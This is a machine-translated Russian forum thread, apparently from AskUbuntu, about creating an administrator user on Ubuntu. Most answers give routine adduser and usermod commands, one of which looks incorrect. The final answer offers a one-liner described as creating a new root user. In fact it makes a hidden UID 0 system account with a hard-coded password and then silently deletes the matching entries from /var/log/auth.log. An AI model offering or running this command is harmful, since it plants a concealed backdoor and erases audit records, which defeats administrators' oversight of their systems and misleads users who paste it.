Как я могу создать пользователя с правами администратора из командной строки?

Я хочу создать пользователя с правами администратора и всеми обычными настройками, такими как домашний каталог.

  1. Есть ли adduser параметр, чтобы дать пользователю sudo полномочия автоматически?
  2. Каковы настройки по умолчанию для adduser? Будет ли он автоматически создавать домашние каталоги и все остальное без дополнительных параметров? (то есть adduser <username> довольно?)

3 ответа

Добавить пользователя в sudo группа с:

adduser <username> sudo

(Если вы используете Ubuntu 11.10 или старше, используйте admin группа).

Значения по умолчанию хранятся в /etc/adduser.confВы можете проверить их с

less /etc/adduser.conf

Чтобы создать пользователя и добавить его непосредственно в sudo групповое использование

adduser <username> --group sudo

(Опять же admin на месте sudo за 11.10 и ранее.)

Посмотрите на все варианты, которые у вас есть с adduser здесь

Чтобы создать нового пользователя с правами администратора в Ubuntu 12.04 и более поздних версиях:

adduser <username> sudo

В Ubuntu 11.10 и более ранних версиях используйте это вместо:

adduser <username> admin

Чтобы изменить существующего пользователя (12.04 и выше):

sudo usermod -aG sudo <username>

(Или для 11.10 и ранее: sudo usermod -aG admin <username>)

-a означает добавление в то время как -G выступает за группы. С -a а также -G флаги, как показано выше, sudo (или же admin) группа будет добавлена в список групп, членом которых является пользователь.

Другие ответы верны, но вы также спросили о домашнем каталоге. Вам также понадобится пароль для нового пользователя.

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s устанавливает оболочку входа пользователя
  • -m делает домашний каталог пользователя, если он не существует:/home/*new-admin-username*
  • -g добавляет пользователя в группу sudo, чтобы у него были права администратора (>11.10)

После создания добавьте пароль для пользователя:

sudo passwd *new-admin-username*

Войдите в систему, чтобы увидеть, все ли работает:

su *new-admin-username*
cd ~/
pwd

Вот один лайнер, он создает нового пользователя root. Вы должны изменить некоторые параметры.

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

Лучший,

Другие вопросы по тегам